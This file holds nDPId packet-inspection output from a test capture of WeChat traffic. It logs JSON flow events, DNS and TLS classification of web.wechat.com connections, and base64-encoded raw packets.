+00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1178,"source":"wechat.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":73,"flow_first_seen":1492167639887,"flow_last_seen":1492167667658,"flow_tot_l4_data_len":41563,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":569,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54113,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":57,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1198,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167742,"pkt_ts_usec":718478,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0hppAAC0GoQrLzZeiwKgBZwG702hvZpZ+j\/Zve4ARAHjs0wAAAQEICkXTIGoAMiMH"} +00510{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1216,"source":"wechat.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":9,"flow_first_seen":1492167648494,"flow_last_seen":1492167695538,"flow_tot_l4_data_len":212,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":23,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.158.34","src_port":43851,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1216,"source":"wechat.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":9,"flow_first_seen":1492167648494,"flow_last_seen":1492167695538,"flow_tot_l4_data_len":212,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":23,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.158.34","src_port":43851,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00518{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1216,"source":"wechat.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":9,"flow_first_seen":1492167640138,"flow_last_seen":1492167695550,"flow_tot_l4_data_len":312,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54114,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1216,"source":"wechat.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":9,"flow_first_seen":1492167640138,"flow_last_seen":1492167695550,"flow_tot_l4_data_len":312,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54114,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":12,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1216,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167757,"pkt_ts_usec":556271,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ePpAAEAGFxXAqAFnQOmnvIyxFGy60MyoSq1b+oAQAO1AWQAAAQEICgAyRQOFovCr"} +00426{"flow_id":12,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1217,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167757,"pkt_ts_usec":610750,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA05AsAACsGAGRA6ae8wKgBZxRsjLFKrVv6utDMqYAQAWUjtgAAAQEICoWjoLcAL7Ej"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1218,"source":"wechat.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1492167765155,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":60356,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1218,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":155968,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8EUFAAEARpLrAqAFnwKgB\/uvEADUAKLhvU\/MBAAABAAAAAAAAA3dlYgZ3ZWNoYXQDY29tAAABAAE="} +00633{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1218,"source":"wechat.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1492167765155,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":60356,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WeChat","breed":"Fun","category":"Chat"},"dns": {"query":"web.wechat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00867{"flow_id":58,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1219,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":432548,"pkt_caplen":391,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":391,"pkt_l4_len":357,"pkt":"eJKcD6iO8IQvSpdgCABFoAF5AABAAEARtB7AqAH+wKgBZwA168QBZQj\/U\/OBgAABAAMABAALA3dlYgZ3ZWNoYXQDY29tAAABAAHADAAFAAEAAAJYAAcEd2ViMcAQwCwAAQABAAACWAAEy82Tq8AsAAEAAQAAAlgABMvNl6LALAACAAEAAU8CAA0HbnMtdGVsMQJxccAXwCwAAgABAAFPAgAKB25zLWNuYzHAZ8AsAAIAAQABTwIACQZucy1vczHAZ8AsAAIAAQABTwIACgducy1jbW4xwGfAjgABAAEAAAFuAAS4ac55wI4AAQABAAABbgAEy82TmMCOAAEAAQAAAW4ABMvNsDrAjgABAAEAAAFuAARnBx7vwKMAAQABAAANPgAEtv5vZMCjAAEAAQAADT4ABLfoeDvAowABAAEAAA0+AAS2\/hBmwHgAAQABAAABmAAEb6Frw8B4AAEAAQAAAZgABG+haBHAXwABAAEAAAFuAAS2jLiMwF8AAQABAAABbgAEtwK6mQ=="} +00665{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1219,"source":"wechat.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":2,"flow_first_seen":1492167765155,"flow_last_seen":1492167765432,"flow_tot_l4_data_len":397,"flow_min_l4_data_len":40,"flow_max_l4_data_len":357,"flow_avg_l4_data_len":198,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":60356,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WeChat","breed":"Fun","category":"Chat"},"dns": {"query":"web.wechat.com","num_queries":1,"num_answers":18,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"203.205.147.171"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1220,"source":"wechat.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1492167765433,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58036,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1220,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":433146,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA88RZAAEAGKB3AqAFny82Tq+K0AbvYTb2iAAAAAKACchDtIAAAAgQFtAQCCAoAMky0AAAAAAEDAwc="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1221,"source":"wechat.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1492167765657,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58037,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1221,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":657286,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8ZwNAAEAGsjDAqAFny82Tq+K1Abs3CyvvAAAAAKACchAf3gAAAgQFtAQCCAoAMkzsAAAAAAEDAwc="} +00437{"flow_id":59,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1222,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":701156,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC8GKZTLzZOrwKgBZwG74rSlk19z2E29o6ASN8g4AQAAAgQFoAQCCApF8qRxADJMtAEDAwc="} +00425{"flow_id":59,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1223,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":701236,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA08RdAAEAGKCTAqAFny82Tq+K0AbvYTb2jpZNfdIAQAOWdWQAAAQEICgAyTPdF8qRx"} +00750{"flow_id":59,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1224,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":701869,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEi8RhAAEAGJzXAqAFny82Tq+K0AbvYTb2jpZNfdIAYAOUfdwAAAQEICgAyTPdF8qRxFgMBAOkBAADlAwN2f14Oc5hAS77GsYiJJWuQsbu0wB7\/AFxtEPxKO0DQmSCLvNA70NWnnOkivxA3NtxTObgLtgPDGlVnUKXVA0Y5mQAgenrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8WloAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIenoAHQAXABgKCgABAA=="} +00723{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1224,"source":"wechat.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":4,"flow_first_seen":1492167765433,"flow_last_seen":1492167765701,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58036,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00437{"flow_id":60,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1225,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":933685,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC8GKZTLzZOrwKgBZwG74rU+QocNNwsr8KASN8h9cwAAAgQFoAQCCApFrtG3ADJM7AEDAwc="} +00425{"flow_id":60,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1226,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":933797,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ZwRAAEAGsjfAqAFny82Tq+K1Abs3CyvwPkKHDoAQAOXiyQAAAQEICgAyTTFFrtG3"} +00425{"flow_id":59,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1227,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":972098,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0+8BAAC8GLdvLzZOrwKgBZwG74rSlk1902E2+kYAQAHiclQAAAQEICkXypLQAMkz3"} +02346{"flow_id":59,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1228,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":976298,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXI+8FAAC8GKEbLzZOrwKgBZwG74rSlk1902E2+kYAQAHibjQAAAQEICkXypLYAMkz3FgMDAF0CAABZAwOdxUs6xI9qr\/nfcp+Skd122UOXK9okRp5CiHhQWbutICBDtbBAnWnGygM6P1AG0j+Q0vm5\/VvsmvPTT+HjfnB2iMAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00780{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1228,"source":"wechat.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":6,"flow_first_seen":1492167765433,"flow_last_seen":1492167765976,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58036,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00425{"flow_id":59,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1229,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":976336,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA08RlAAEAGKCLAqAFny82Tq+K0AbvYTb6RpZNlCIAQAPuWNwAAAQEICgAyTTxF8qS2"} +02350{"flow_id":59,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1230,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":976846,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXI+8JAAC8GKEXLzZOrwKgBZwG74rSlk2UI2E2+kYAQAHjMCAAAAQEICkXypLYAMkz3i6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQQOPn8DbeEidIQj32f9HhBMwbyWUdcDE+\/3Vi5ux\/\/7BA5A6A6MIrjGmV8u5FKtYYwAhBykuyrmGYrHmGhNKH1NBgEBAH\/yIGov"} +01313{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1230,"source":"wechat.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":8,"flow_first_seen":1492167765433,"flow_last_seen":1492167765976,"flow_tot_l4_data_len":3366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58036,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00425{"flow_id":59,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1231,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":976881,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA08RpAAEAGKCHAqAFny82Tq+K0AbvYTb6RpZNqnIAQARGQjQAAAQEICgAyTTxF8qS2"} +00783{"flow_id":59,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1232,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":977209,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE4+8NAAC8GLNTLzZOrwKgBZwG74rSlk2qc2E2+kYAYAHjbvgAAAQEICkXypLYAMkz3vzSRAATJF5Ub4moHzwyV4aCffI9oBbi9oX6NyyE2mrm1ZVHbh8j6P4dLWkpBXUzFwjR\/MzxCp+3ICjlWJmYTDYpb3Ky+WlXnOxMeiY4zehdJIBH2kmIF+ZiWG+QuRxqRFpUrkavP\/MgD8MYFF+d0oAicK39skPTNThYTL3KePhO2ztkbZt+wRQNy6g3mY+SqpJkfhq+P7RpmlH\/TsEtt6r6jGE\/8Nj59DNjcU8X2RYCQgY9UdxUkK1sLN1YPrrRjDdK8znFnq4KtudJ4qF8IGzNnGJ7b5vhAkWZkfWWQx2\/aTR8DGFtAx87PcruS7\/4l7eDUnr4I+5QdhBwWAwMABA4AAAA="} +00426{"flow_id":59,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1233,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167765,"pkt_ts_usec":977242,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA08RtAAEAGKCDAqAFny82Tq+K0AbvYTb6RpZNroIAQASiPcgAAAQEICgAyTTxF8qS2"} 